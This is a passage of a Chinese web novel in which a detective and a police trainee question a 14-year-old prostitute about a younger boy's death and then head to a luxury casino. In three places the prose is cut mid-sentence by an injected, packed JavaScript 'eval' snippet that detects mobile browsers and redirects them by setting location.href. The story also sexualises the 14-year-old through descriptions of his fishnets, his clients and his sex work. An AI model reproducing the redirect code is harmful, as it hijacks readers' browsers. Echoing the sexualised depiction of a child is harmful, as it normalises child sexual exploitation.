“放心吧大叔,我懂。我也没有想对谁开枪,只是想拣点东西防身而已。毕竟现在的形式不算乐观,不是吗?”漂亮的男孩把玩着枪支,语气却非常无辜,“我叫罗亚利,鉴于你们已经猜到我是干什么的,我就不再自我介绍了。” 尼尔森对他挑了下眉,莱蒂斯则警惕地打量着他。男孩似乎并不在意,他用枪口戳戳不省人事的警司,感叹了一句“哇,昏得有够死的”,然后直接把坐在了他身上。 “我没有恶意,倒不如说,我很相信你们。”罗亚利并拢双腿,左手撑着脸颊。他的姿势乖巧,过短的裙摆却露出了他大腿根部的网袜。在他身下,警司因为负重发出一声痛苦而模糊的呻吟。 他懒洋洋地抬眼,看向二人:“你们应该有很多想问我的,那就问吧,我都会回答。” “嗯,罗亚利。我确实有想问的。”尼尔森对他的一举一动似乎并不觉得奇怪,他微笑起来,眯起的金色眼睛里却带着冰冷的审视。 罗亚利看见这个对贫民窟异常熟悉的男人煞有其事地举起一根手指,然后听见他说:“首先第一个问题,你不是认真的吧,我看起来真的有到被你叫大叔的年纪吗?” 罗亚利:“……” “……有。好了,你可以闭嘴了,尼尔森。”莱蒂斯一脸无语地瞥向尼尔森,然后无视了看起来大受打击的侦探。 她弯下腰,认真对罗亚利道: “你好,罗亚利。我是圣卢塞特的实习警员莱蒂斯。你愿意信任我们,我非常荣幸。如果我的问题冒犯到你,也请你谅解——我就直说了,为什么那个叫艾兰的孩子死时,你会在楼下的人群里?我知道你在那里站了很久,直到我们上楼。” “唔,你看见了啊。首先问我这个,说明你还是不太信我吧?我还是从头说起吧……我今天去见了个男人,但他女儿提前蹦完迪回家了,所以我就溜了。”罗亚利说着,将手伸进外套内侧。那口袋里有一沓大额纸钞,他表情里隐约的厌恶和不屑却好像那只是一大把用过的餐巾纸。 随后,他从满口袋钞票里抽出了一条脚链。 “这是他给我的,他说很适合我。” 男孩晃动他的手腕,这串珠宝便随之摇晃起来,如同咬在他指尖的一条小蛇。在那上面,莱蒂斯闻到了纸钞、汗水和令人不舒服的□□的气息。 “但它对我来说就是个麻烦。带这玩意在贫民区晃太危险了,每次带着它出门,我回家这片街区的第一步就是它塞回家里的暗格里。”罗亚利说着松了手,让脚链滑落回口袋里钞票筑成的巢穴,“我坐了很久的车才到楼下……之后,我看见有很多人在往这边走。再凑近一看,原来是有人死了……原来是艾兰死了。” 嘴里的泡泡糖使男孩消瘦的脸颊微微鼓起。他吹出一个和穿搭呼应的草莓味泡泡,它在提到死者名字时啪的一声破掉了。 破掉的泡泡背后,是莱蒂斯直视着他的眼睛:“发现死者后,你选择留在了人群里……你既没有上前去保护那个和你同居的孩子,也没有和任何介入这件事的人交流。你没有哭,却也没有逃离——你是在有意地观察什么,对吗?” “当然。”罗亚利坦然,“我就是在观察你们。” “人群聚集后不久,你们来了。警员小姐,你英勇地保护了艾兰的尸体,但你的目的究竟是什么?就像你不会轻易相信我一样,我也得先搞清楚你们究竟可不可信——这里是贫民窟,而我以出卖自己为生,我比谁都清楚盲信他人的代价。” “哭和逃跑是没有用的。我曾经以为那么做可以逃离这种生活,现在我已经学会老老实实挨生活和顾客的操了。如果你嫌我太平静,那我也没办法——”罗亚利用事不关己的语气说着,“我刚刚哭了好几个小时,已经哭不动了。” “但好在,干这行让我学会了一件事。”男孩顺势用枪口点了点自己的额头,“我知道如何看穿一个人的想法。所以我一直看着,看着那只大鱿鱼莫名其妙地出现,又看着这两个警察匆匆赶来。只要看上一眼,我就知道他们根本不在乎艾兰。” “他们连演都懒得演,我只是担心你们是演的,毕竟圣卢赛特哪有警察真的在乎贫民的生死?我怎么可能把艾兰的事情告诉这种伪善的人?” “可你又回到楼下来,打了电话……在围观的人群都退避三舍,没人可以供你作秀的时候,在你联系外援,不知道有人正在观察你的时候,你看向艾兰尸体的目光,还是和先前一样,没有变过。” “所以……就当我是自大吧。”罗亚利顿了顿,突然浅浅地笑了一下,“我相信我察言观色的能力,所以我也相信你,警员小姐。” “能遇到你这样的人,真是太好了。” 莱蒂斯一愣,大概是没有料到自己无意的举动能够赢得一个多疑孩子的信任。在贫民区寒冷的雾夜,她几乎要感觉到一种温暖。 但这还不够。 “某人曾经声称自己是靠微表情在判断人的情绪,结果他是个向导。”莱蒂斯放轻声音,但意有所指地看了眼尼尔森,“罗亚利,如果你是向导,大可以告诉我们,我们会给予你更加确切的帮助。” “谢谢关心,但我可没有变异的运气,也不需要变异。”罗亚利嘴角的弧度变了,紫瞳中弥漫的东西说不上是自嘲还是麻木,“别忘了我是干什么的。要是不懂得如何揣摩人心,我早就横死街头了。” “那么你也许比很多向导都更敏锐。你说对了,我很在乎艾兰的死,而地上那二位警察,我是在和他们交流后,才明白他们不值得信任。”莱蒂斯说道,她感到罗亚利的话有一种奇异的说服力。男孩比她更加纤细的身体让她意识到,如果她不相信他具备着辨明人之善恶的能力,那么也是对他残酷人生的一种蔑视,但是—— “但是,一个人是不是自杀,并不是仅靠察言观色就能够看出来的吧?” 带着几乎冒犯的直白,莱蒂斯这么问道。 少女对人心尚且一知半解,但就像野兽能够识别敌我,她的感官和直觉也能够带给她答案。 她向尼尔森保证过,不会因为同情而怠慢侦查。 罗亚利的心跳正在她耳边鲜明地跳动,如同一只蝴蝶在蛛网上震颤。她将一部分听力集中在了男孩身上,一旦他产生心虚或动摇,他的心脏就会替他告密。 可罗亚利只是歪过头,将脸颊贴在膝盖上。他在平稳的心跳声中,用平稳的语气道:“放松些,警员小姐。我可从没说过我是‘看’出艾兰并非自杀的。我即使再怎么善于观察,也不可能从尸体的脸上揣测出他死前的想法。” “我知道艾兰死得可疑,仅仅是因为他昨天亲口告诉过我,‘我们很快就可以过上好的日子了’。” 平稳的心跳出现一瞬的裂痕,罗亚利瞥见客厅地上的玩具,窗外的雾渗透进了他的眼里。 “我们昨晚都在外面忙,只是他回来得比我要早。我刚推开门,他就从那张床垫上跳了起来。他刚把自己清理干净,连头发都还是湿的。这个小傻子……他确实像你们推理的那样有智力障碍,怎么清洗自己都是我教他的……” “他踢到了地上的玩具,差点摔倒了,但他还是跑过来抱住我,然后,他说就是这么说的,我记得一字不差:‘罗亚利哥哥,我们很快就可以过上好的日子了。’“ 罗亚利说:“听听吧,再没有哪句话比这句更危险的了。他不可能是自杀的。” 莱蒂斯似乎明白了什么。罗亚利看了她一眼,却叹了口气,轻轻摇摇头:“好吧,警员小姐,你没有懂我的意思,但大叔肯定知道我在说什么。” “我并不是在说艾兰对生活非常乐观,所以不可能自杀……你要明白,警员小姐,如果一个人想在圣路赛特的贫民区过上所谓的好日子,就必须付出很大,很大的代价。我交出了我的身体,街角的药贩子出卖了他们的灵魂,黑手党的外围成员们献上了他们的生命,可我们中没人过上了好日子。” 像是被什么压到了脊背,罗亚利把自己缩得更小了一点。他手里的枪垂在地上,金属划过木地板的声音生涩而刺耳: “无论那个能让我们过上‘好日子’的东西是什么,它都一定非常危险,危险得足以要了他的命。” “事到如今,我只能寄希望于你们能查清真相了。” “这就是为什么你相信他不是自杀,我明白了。”莱蒂斯点头。 罗亚利所说的危险让她想起了两个警察口中的‘盘’,但她没有向男孩提起这个信息。 顶灯在她绿色的眼睛上笼罩了一层面纱般的阴影,她忽然问道:“可是罗亚利,你真的想查清艾兰的死因吗?” “我要是不想,为什么会主动找上你们?” 罗亚利奇怪地反问道,但他看见乖乖闭嘴很久的尼尔森带着揶揄的微笑看了过来。 男人似乎在用眼神询问:你真的以为她这么好骗吗? 男孩的眼神因此阴沉了下去。与此同时,莱蒂斯步步紧逼地认真道: “那么,让我问得更明确一些吧,罗亚利。你究竟是想查明白艾兰的死因,还是只是想在知道艾兰因何而死后,保护自己不重蹈覆辙?” “……为什么这么问?”罗亚利沉默了几秒,尚且稚嫩的声音里带上了怒意和委屈,“警员小姐,你自己有着极高的道德,所以也非得用这种道德感来要求一个娼妓吗?” “我听见了你们的推理,你们认为我不在乎艾兰,不可能为他奔走,就因为你们在翻房间时发现我没变卖家产送他去识字?我才十四,我自己也没上过学,你以为我想天天挨操吗?你们根本不了解我自顾不暇的生活,难道我一定要把卖身换来的一切都奉献给他,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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和博取莱蒂斯信任时的浅笑不同,当这个看起来乖巧的童妓发自内心弯起嘴角时,一切都仿佛被笼罩进了迷蒙的粉紫色烟雾。这烟雾有毒而虚无,那如梦似幻的笑容背后也横贯着一道深渊,他的表情里带有着一切的恶意,不屑,高傲,眼里则是冻原般空无一物的冷漠。 “怎么了?为什么要用这种语气,警员小姐,你在批判我吗?嗯,对,我想知道艾兰为何而死,其实是因为我想自保。” “可我想要自保,难道是什么弥天大罪吗?” 罗亚利坦诚地如此笑道,连一句辩解都懒得多说。 可就算他那罕见的紫瞳中正漫溢着剧毒,这笑依然甜美得令人炫目。 “我的确不在乎艾兰。虽然那小子很粘我,但我很少会管他。我每天都活得想死,没那个精力去在乎别人,更不会把一个智力低下的小孩随口一句话放在心上。” “如果你在他活着的时候见到他,你就会知道,艾兰就是个傻子。他永远在笑,对所有人都好。无论自己在此之前受到了怎样的对待,只要给他一点点好处,一颗糖或者一句夸奖,他就会很高兴,像那种被父亲殴打之后依然爱着父亲的傻瓜。” “他是真心的,其他人谁也演不出来他这种愚蠢的天真烂漫,所以那些客人才会那么喜欢他……我相信你们也会喜欢他的,但很可惜他已经死了,现在能帮到你们的只有我。我没有撒谎,只要你们问我的,我都愿意回答。” 笑容像有自我意识的寄生虫一样生长在男孩脸上,他的语调却没有起伏,如同一个百无聊赖的人在念一篇无聊的日记。 这绝不是因为一晚的疲惫而无法产生情绪波动的模样,他的心脏在更早之前就已经被彻底挖空,再榨不出一滴为他人而流的眼泪。 他只在乎一件事:“所以现在,你们究竟要不要保护我?” “说实话,我不是特别想管你,可惜这事儿不由我做主。”倚在墙边的尼尔森对他说,目光却落在莱蒂斯的背影上。 虽然这小子的情感波动藏得很好,但尼尔森不需要使用能力,也能看出他并不像莱蒂斯所期盼的那样善良。 唯一出乎他意料的是,他在莱蒂斯身上感觉到的更多是悲哀,而非愤怒和失望。 就像她对酒神节外的‘蟑螂’那样。 就像她对漠视连环杀人案时的尼尔森那样。 “你愿意和我们坦诚相待,这是一个好的开始。”少女心平气和地向男孩伸出手,“把枪给我吧,它很危险。我们会安排你去安全的地方,没人能伤害到你。” “圣卢赛特连警局都被渗透成筛子了,我不相信有所谓安全的地方。” 罗亚利拒绝道,却盯着莱蒂斯的眼睛前倾了身体。身下的警司被他压得更深,肢体抽动两下,喉咙溢出干呕,似乎就要醒来。 漂亮的男孩于是加深了微笑,举起枪托狠狠砸在男人太阳穴,然后乖乖放下枪,将手搭在了莱蒂斯手心。 “但我愿意听你的话,就像这样。毕竟,从你看艾兰的眼神里,我就知道,你不会扔下我不管的。”他舔了下嘴唇,似乎在撒娇,又似乎不容商量,“莱蒂斯小姐,我要你一直在我身边保护我——我只信你。” 悠哉悠哉看了半天戏的尼尔森:……哈? 63. 第六十二章 第六十二章十四岁的天堂 莱蒂斯:“不行,你不能跟着我们一起行动,这样太危险了。” 尼尔森:“对,太危险了。” 莱蒂斯:“我感谢你的信任,但能保证你安全的不是我们。” 尼尔森:“对对,不是我们。” 莱蒂斯:“你不信任警局,我也一样。但我相信我的朋友,她一定会全力保护你。她叫唐娜,和我隶属同一个部门。她就在楼下,你可以跟她一起离开这里。” 尼尔森:“对对对,就是这样,你快走吧。” “……你怎么老重复我的话?”莱蒂斯还托着罗亚利小朋友的手不知道该牵该放,听尼尔森复读了半天,终于忍无可忍地看向他,“你平时那么能说,就不能说点别的吗?” “别的?你刚刚说的那一堆这小子一句也没打算听,我还有什么好说的?啊,对了……”侦探吐槽着,忽然停顿了一下。 他转向罗亚利,表情友善,眼神却似笑非笑: “你差不多可以把手放开了吧?” “……” 尼尔森发誓罗亚利的情绪里浮现出了一丝嘲笑,但这小子明面上压根就没理他。男孩一直看着莱蒂斯,那纤细的指节顺势曲起,把她的手指轻轻握住了。 “莱蒂斯小姐,别急着把我推开,好吗?”他的目光温顺,却像摇曳的紫罗兰那样让人移不开眼睛。 “我虽然不知道是谁害死了艾兰,但我知道去哪里才能找到线索。艾兰是昨晚才告诉我‘会过上好日子’的,我知道我们应该从昨晚开始查起。而无论是他昨天的行程,所在的地点,还是接待的顾客,我都能带你找到。” 尼尔森没觉得这话有什么说服力,他从容地反驳:“得了吧小朋友,想查这些情报可用不着你跟着。有的是客户想从我这里买一个娼妓的行程,因为她的丈夫是对方的常客。我在这方面口碑特别好,再多给我一点时间,死者的第一位到最后一位客人,我都能找出来。” “可我们并没有那么多时间,对吗,莱蒂斯小姐。”罗亚利摇头,却只对莱蒂斯说话:“否则这个高级警司也不会在这里当我的坐垫了——无论那是谁,他们已经找来了。” “我们会尽快处理的。”男孩得到了莱蒂斯的承诺,酒神节事件三个月后,少女允诺时的模样已经足以让人安心,“你只需要告诉我们应该去哪里,剩下的事情我们会解决的。” “你不可能进去那地方的,莱蒂斯小姐,更别提接触知情人了。所有进出的人都会被检查,只有我知道如何应对。”罗亚利说,他的神情像是个淋了雨的孩子一样恳切,又像个秘而不露的小巫师一样蛊惑,“我能提供给你的东西绝无仅有,再也没有人能像我一样帮到你了。 他不着痕迹地把莱蒂斯拉进了一点:“不要抛下我,可以吗?” 啧,这小子真是…… 尼尔森有点想笑。他不得不承认,罗亚利能收获那么多奢侈品总归有他自己的原因。 但不知道这自诩能读懂人心的男孩有没有看出来,莱蒂斯并没有产生什么多余的感情。 她没有甩开这孩子的手。在罗亚利的牵引下,她甚至单膝跪至了他身前。但她心中弥漫的只有尼尔森似曾相识的悲哀,它像一场在她心底最深处徜徉不散的大雾。 莱蒂斯说:“罗亚利,我们不需要你提供什么。也许你已经习惯用‘自己’来换取东西,换来生存,金钱,或是保护,但这不是一场交易。寻找艾兰死亡的真相是我的责任,也是我自己的决定。无论你能不能提供线索,你是不是有自己的私心,都不会让我对你和艾兰弃之不顾。” “我不是要‘抛下你’。我不想带你一起,只是希望你安全。” 罗亚利眨眨眼,明显愣住了。也许从没有人跟他说过这样的话,他散发出的惊讶像是被一颗子弹击碎的玻璃窗,也不知道是因为莱蒂斯善良得一尘不染,还是因为她正直得接近铁石心肠。 他抿了下唇,坚持道:“但如果找不到真凶,我就不可能真的安全。” “好啦,”见他似乎还想继续解释,尼尔森突然打断了对话,“唉,小朋友,你不了解她,要说服她可难了。但要是你真的想和我们一起行动,也可以换个思路嘛。你可以试着说服我啊。” “莱蒂斯,我向你保证不会伤害他,就让我试试吧。我的要求非常简单——” 侦探伸手抓住了罗亚利的手腕,将男孩细瘦的小臂拽起。罗亚利吃痛地轻哼一声,眼里一闪而过了愤怒,随后变成了咬牙切齿的警惕。 “是不是头有点晕,感觉不太舒服?真不好意思,要是我能力没有受限,你根本不会察觉到的。”男人微笑着附身和男孩对视,亮起的金色眼睛像是降落的太阳。他说:“放松一点,接受这种眩晕——打开你的基本精神隔膜。” 基本精神隔膜是一种最基础的精神屏障,即使是普通人也同样具备。它是人们在全神贯注做一件事时能够自动忽略外界干扰的原因,也能一定程度上阻挡低阶共感者的入侵。 进行肢体接触,又要求对方主动开放精神屏障,尼尔森想做的事情不言而喻:“我不在乎你会不会死,但我得确认你可信。只要让我搜过你的大脑,我就同意带着你。” “放开他,尼尔森。”莱蒂斯皱眉,不赞同的情绪抵上前来,“没必要这样。他才十四岁,没什么好怀疑的。” “十四岁……”尼尔森笑笑,“你知道我十四岁在干什么吗?” “在干什么?” “做了点坏事,回头跟你讲。但无论如何,别小瞧十四岁。”尼尔森说着,默默加重了对罗亚利的力道,“让我确认一下你到底在想什么吧,小朋友,如果你真的只是想和我们一起查明真凶,应该不会担心我找到什么不好的东西吧。” “你的怀疑连个理由都没有,我凭什么对你开屏障?”罗亚利终于适应了眩晕,表情也恢复如常,将所有情绪都隐入了挑衅的笑容之下,“你不信我?我也不信你。我知道你待在莱蒂斯小姐身边,绝不是和她一样为了真相。” “是吗?那你一定要待在她身边,又是为了什么?” “好了。”莱蒂斯抬手卸了尼尔森手上的力,迫使侦探松手,阻止了进一步冲突。她有些奇怪为什么尼尔森跟对方如此针锋相对,但还是先认真对罗亚利道歉了:“抱歉,我没想过他是要入侵你的思维,我的搭档确实失礼了……但至少我送你去唐娜身边,好吗?” “不好。”似乎是因为对尼尔森的不满,罗亚利的回答也任性起来。他依然习惯性地保持着微笑,但随后,那好看的笑里浮现出了一种寒冷的绝望,这使得他嘴角的弧度如同割开在脸上的伤口。 “莱蒂斯小姐,这是第一次有人不需要从我这里索取到任何东西,也愿意保护我……我真希望我能答应你的请求,哪怕只是为了让你开心。” “但你是不可能甩开我的,我一定要留在你身边。” “我不如你高尚,也不如你坚定。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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侦探知道罗亚利的这番话足以打动莱蒂斯,她是那样相信人性中美好的部分,以至于作为曾独自一人杀穿一船哨兵,却依然在对一个花言巧语堕落不堪的童妓报以敬意。 她将罗亚利拉起,像个姐姐一样把男孩的外套拉好,然后郑重地回答他: “那么,你就跟我们一起行动吧。我向你保证,你会亲眼见证真凶伏法。” 真是糟糕啊……尼尔森哪怕只靠猜的也知道,有哨兵的本能和警员的责任感作祟,莱蒂斯已经将罗亚利纳入了保护的范围。罗亚利如愿以偿了——莱蒂斯将会拼尽全力保护他。 尼尔森莫名烦躁起来,他自认为不是那么小气的人,莱蒂斯不管不顾要救海克时,他可没这种感觉。 三个人怀着不同的情绪一同走出了房间,两位昏迷的警司则留给唐娜处理。 至于“真凶依然躲在公寓”中的推断,尼尔森和莱蒂斯都放弃了。 尽管莱蒂斯的听力反馈,这段时间只有人进入公寓大门,没有人离开。但罗亚利的出现已经给了他们答案。 在离开公寓楼前,莱蒂斯问罗亚利:“这间公寓的另一个出入口在哪里?我将自己的听力集中在了大门,却没听见过你进来的声音。我想去看看,带我走那边吧。” 罗亚利笑而不语,抬手指了指头顶。 他们一同走上天台。大雾还没有散去,仿佛一张永不腐朽的裹尸布一样笼罩着贫民区,但莱蒂斯注意到了,由于贫民区密集的规划,公寓楼左右两栋房屋都离得很近。 它们一高一矮,任何人都能爬上高的那一栋楼顶端,跳到公寓楼天台,再从公寓楼天台跳到矮楼楼顶,进入矮楼楼道,从它的大门离开。 莱蒂斯解放了嗅觉,可惜楼顶已经不再有味道残留。 与此同时,罗亚利望着圣卢赛特在雾中也若隐若现的万千灯光,伸了个懒腰。 寒冷的空气中,他转头笑道:“二位,做好准备吧,我要带你们去的地方,是很多人梦寐以求的天堂。” 64. 第六十三章 房间里有一张旧沙发。 沙发不大,只容得下一人落座,它表层的黑色皮革已失去光泽,满是发白的磨痕和霉斑。 旧沙发上坐着一个男孩。 男孩套了件卫衣,曲着双腿团在沙发上。他似乎是在无聊地发愣,又似乎在看着什么。 他手里捧着一个马克杯,里面是他给自己冲的热可可。 房间里很冷,也没开灯,男孩有点想不起自己在这黑暗里坐多久了。他喝掉了最后一口饮料,但胃和心脏中依然徘徊着一种古怪的空洞,他于是跳下沙发,走向冰箱。 冰冷的地面贴在他脚底。他踩过某种又稠又滑的液体,去冰箱里找了盒速食意面,塞进微波炉,扭动了开关。 刹那间,微波炉里的灯光亮起。它如同晦暗中睁开的一只眼睛,看向男孩的来路。 在那窄窄的一束光线里,它窥见了自旧沙发延伸过来血脚印,和客厅里那十具交错横呈的凄惨尸体。 “啊——放心啦,小莱蒂斯~,那两个警察我都一起带走了。我现在?我在地区分局哦,他们也在。” “……你走错路了吗,唐娜?”尼尔森凑近手机问,“我们走之前确实是拜托你顺便把他俩处理一下,免得他们继续搞事,但你怎么把黑警给处理回警局去了。” “警局才是最保险的地方,盖克森你这样的罪犯是没办法理解的。”唐娜一如既往地喊错尼尔森名字,“分局根本没人认识他们。我把他们的警服扒掉,配枪和证件都收起来,然后告诉分局的同事,说他们和那两个暴走哨兵是一伙的嫌疑人,他们就被一起关进看守所了。” “他们醒了吗?没有叫嚣说你们对高级警司不敬要处罚你们?” 唐娜慢悠悠地说:“嗯嗯……没醒,不过醒了也没关系哦?我说他们有精神病,为了加强说服力还给警司套了件小朋友房间里的女装,所以没有人会理他们的——” “……” 莱蒂斯脑补了一下那个画面,心情复杂起来,罗亚利倒是发出了一声爆笑。 “我正在看守所盯着他们,等他们醒了就可以审了。唔……对了……” 唐娜的声音飘忽,话语间却有一个警员深藏的老练:“高级警司虽然删掉了手机里的联络记录,但只要手机硬件还在,警局是有办法恢复数据的,我已经交给东南分局的数据部了——别担心,小莱蒂斯,我们有很多,很多的办法去查他们背后是谁。” “原来是这样,果然还是鱿鱼姐姐考虑得更周到。”罗亚利语气活泼,也不知道是真没记住唐娜叫什么,还是只是想喊一声这个充满烧烤味的外号,“是我之前把处理他们这件事想得太简单了。” “你本来是怎么想的呢,小朋友?”尼尔森乐了,“把他们杀了抛尸到楼下垃圾堆?” 罗亚利微笑点头:“把他们杀了抛尸到楼下垃圾堆。” “杀人不是解决问题的方式。”莱蒂斯不赞同,她用一种真诚的语气建议道,“想防止他们通风报信不需要这么极端的。把他们的手机和配枪全都拿走,然后用手铐铐在卫生间的管道上就好。卫生间很窄,走之前打开水龙头保证他们可以喝到水,他们就能活一个星期……唔,不过现在天很冷,还要把大衣留给他们才行。” “……” 前排悄悄打量他们的人僵硬地移开目光。 喷涂着金色“StairwaytoHeaven(天堂阶梯)”字样的红色巴士在雾里摇摇晃晃。它已经满员了,但除了最后排的莱蒂斯一行人,车上没人出声。 这些乘客们登上这辆巴士,都是为了前往整个奥西恩王国最大的赌场——因珀瑞恩“Empyrean”。 它位于圣卢塞特城郊,却有着享誉世界的名气。据传它有着全世界最全面最刺激的赌博项目,以及最好最周到的服务,任何人都能坐上它干净敞亮的接驳车,去往金碧辉煌的大堂。 也许鲜少有人知道它取名自但丁在《神曲》中所描绘的天堂至高层,但所有人都不约而同地用同一个简称形容这个地方——如果在圣卢赛特有人提到“天堂”,那多半不是指的上帝之所在,而是指的这家赌场。 这辆接驳巴士上其实没几个善茬。因珀瑞恩赌场既然打出了“给任何人提供最好的服务”的标语,那么他们服务的就是字面意义上的任何人。小偷,娼妓,流浪汉,飞车党,还有劣迹斑斑的抢劫犯坐满了巴士,只不过这会儿全都闭嘴了。 因为最后一排这三个人实在是太他妈的奇怪了。 一个打扮张扬的漂亮男孩,一个穿着风衣的散漫男人,还有一个像是黑手党打手的女孩正举着手机坐在他们中间打电话,讨论应该把警察抛尸还是锁在卫生间喝一周自来水。 什么地狱绘卷。 没人猜得出来这三个家伙到底是出于什么理由聚在一起的。但既然他们能用贿赂以外的办法对付警察,那一定不是省油的灯。 和他们待在一起简直像坐牢,天知道会不会有人因为听到了不该听的而被灭口。就连司机都多踩了几脚油门,巴士从城市驶入乡下再驶入被行道植物簇拥的车道,竟然提前了二十分钟到达目的地。 车窗外,一座灯火通明的建筑从雾中浮出。 比起“建筑”,因珀瑞恩大赌场更像是在原野上拔地而起的一座城邦。奢侈的巴洛克风格建筑在最外圈勾勒出赌场的范围,世上未必有几个欧洲国王的行宫会达到如此规模,而赌场、餐厅、奢侈品商城和酒店一体的30层大楼就在其中屹立,金色的打光使得它的每一寸都像是由黄金堆砌。 乘客们下了车,没注意到飘渺的雾气已经吞噬了来路。这至高之天堂当真如同一个突然出现的奇迹,一个只有幸运之人才能得见的黄金乡。 不自觉地,人们踏上了入口左右两侧宽阔的阶梯,穿过建筑,视野又骤然开阔起来。热带绿植与霓虹灯交叉错落的花园和购物广场呈现在他们面前,叫他们眼花缭乱。 旧日与现代的奢华为吸引他们目光而揉杂在一起,这使得他们每个人都觉得自己如同一个天生帝王。他们迫不及待地走向赌场。 那三个奇怪的人不见了——他们没有和乘客们一起进入花园,但已经没有人在乎了。 入口宫殿的右侧,罗亚利用匙卡解开了一扇象牙白大门的门锁。 门背后是一条安静而优雅的走廊,拐角处的拱形窗上,单向玻璃映着访客的影子。 “尼尔森,车上有人对我们的对话有反应吗?” 门一关上,莱蒂斯就看向尼尔森。 “要说反应那确实都有,我看他们都挺害怕的。”尼尔森看起来挺开心,“别的暂时没感觉到,但我们的试探不一定有用。这事儿背后的人可是连高级警司都摇来了,摇一个水平高点的杀手应该也不是难事。如果那车上真的有冲着罗亚利来的人,他多半会用上情感隔断的。” “啊,抱歉,可能要坏你的好心情了,小朋友。”侦探有些幸灾乐祸地挑眉,跟罗亚利解释了那两个黑警提到过‘有专业人士负责找人’的事情。 虽然他不太关心有没有人要罗亚利的命,但他也没闲着: “好消息是,我刚托人查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356954|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下,杀手悬赏的暗网上没挂你信息。坏消息是,现在被派来找你的人多半是权贵长期契约或自己培养的常任杀手,能力更强更专业,杀出美味杀出鲜。” “啧。”男孩对此报以不耐烦的哼声,“这不是挺好的吗?我相信杀手的专业素养,至少我的死法不会是童妓最常见的先O后杀了。” “别害怕,罗亚利,你不会死的。”莱蒂斯成熟稳重地安慰道,尽管尼尔森没觉得这小子在害怕,“对方不会在人多的地方动手的,他,或者说他背后的人,不希望这件事情被别人知道。” “你知道为什么我们能得出这样的结论吗,小朋友?”尼尔森一边不动声色地拆解着罗亚利的情绪,一边和颜悦色地说道,“其实,杀手悬赏通常才是更有效率的途径。好几个杀手竞争上岗,速度往往会比常任杀手赶到目标身边再动手要快很多。” “但一个人之所以会上杀手悬赏,往往是因为他对权贵产生了威胁——这威胁之紧迫,以至于他不得不永远闭嘴。所以有时,在很小很小很小的概率下,会有铤而走险的家伙顺着悬赏的信息找到目标,逼问出情报,转头敲诈勒索自己雇主。” 他和莱蒂斯对视一眼。问题不言自明,但他一定要说给罗亚利听:“所以,那个叫艾兰的小家伙,到底是惹了什么事情,才会让幕后之人谨慎至此,甚至拒绝悬赏你们的性命?” “你是想让我害怕吗,大叔?你想告诉我,艾兰惹上了很可怕的人,想吓我滚蛋?”罗亚利的情绪波动了,那是非常尖锐的不满,但他的表情却有些委屈,“你为什么还想把我踢开呢?难道我很没用吗?没有我,谁能带莱蒂斯小姐来这里呢?” “这可是HighLimit级的会员专用通道哦。”罗亚利挽住莱蒂斯,把尼尔森扔在身后,带着点小骄傲为莱蒂斯介绍道,“因珀瑞恩当然会给任何人最好的服务,只不过有的人会比别人更好——比如,达到HighLimit级别的客人不愿意和那些嘈杂的赌徒们混在一起,所以赌场专门为他们设计了直达赌场高级区的通道。” “这世界上,总共只有三种人可以从这里进入因珀瑞恩——HighLimit的客人,接待他们的工作人员,还有嘛……” 罗亚利侧过头,对莱蒂斯眨眼:“还有就是我这种提供特殊服务的‘特殊雇员’啦。” “那个HighLimit,说白了就换个叫法的VIP。”尼尔森跟着解释道,他能感觉到莱蒂斯这个本质上的乡下姑娘正在对赌场的新名词感到困惑,“能达到这个级别的人,每次消费大概要以千万计,但对因珀瑞恩这种国际层面上的大赌场来说,他们也只是达到了个被优待的最低门槛而已。再往上还有什么VVIP,VVVIP,没完没了的。” “……谢谢你冒着危险带我们走这条路,罗亚利。” 莱蒂斯点头,心里却莫名不安。罗亚利似乎对自己的特殊待遇有些自豪,但她对这个地方只有种本能的排斥。 也许是因为它长得像一个面积和奢华程度通通乘以一百的酒神节,又或许是赌场中一些接近癫狂的大笑和哭号已经被她的听力捕捉。 华丽的走廊让她不太舒服,她看向窗外,和他们同一批到达的乘客都已经走进赌场大楼。 她问:“但是,罗亚利,既然因珀瑞恩欢迎任何人来访,为什么我们却偏要从这条通道进入因珀瑞恩呢?” “为了避开经行专道和身份检查。” 她身边的两个人异口同声地说道,接着先是一愣,继而相视一笑。 只不过笑得都不太真诚。 65. 第六十四章 “经行专道是一条密布摄像头的专门通道,也是普通访客出入赌场的必经之路。” 罗亚利竖起一根手指,像是在和密友逛街的少女一样侃侃而谈:“这是在修建赌场时就设计好的——莱蒂斯小姐,赌场的布局虽然错综复杂,出入口却非常单一,为的就是引导所有人都从这条路上走过,然后不知不觉间,监控就会三百六十度记录下他的脸,比证件照还要清晰。” “之后嘛……”男孩笑起来,弯弯的嘴角像是个甜美的陷阱,“不管是因为欠债还是因为出千,只要赌场想找到他,就算是天涯海角他也无处可逃啦。” “至于身份检验,主要是为了区分共感者和普通人。”尼尔森瞥了眼飞蛾扑火般走进赌场的人群,打了个哈欠,“哨兵的五感,向导的共感,都是天生的出千技能。要是有一批共感者装成普通人混进赌场,那场子能在一个月内亏到破产。” “赌场不想放过共感者的钱,但身份标识耳钉又可以通过非法手段取下来,不够可靠,所以在好几年的立法议程后,法律决定赋予赌场凌驾于共感者人身权之上的权利,可以直接检测来访者腺体。他们怎么说的来着……?‘谁管你愿不愿意,变异人也得守赌场的规矩’。” 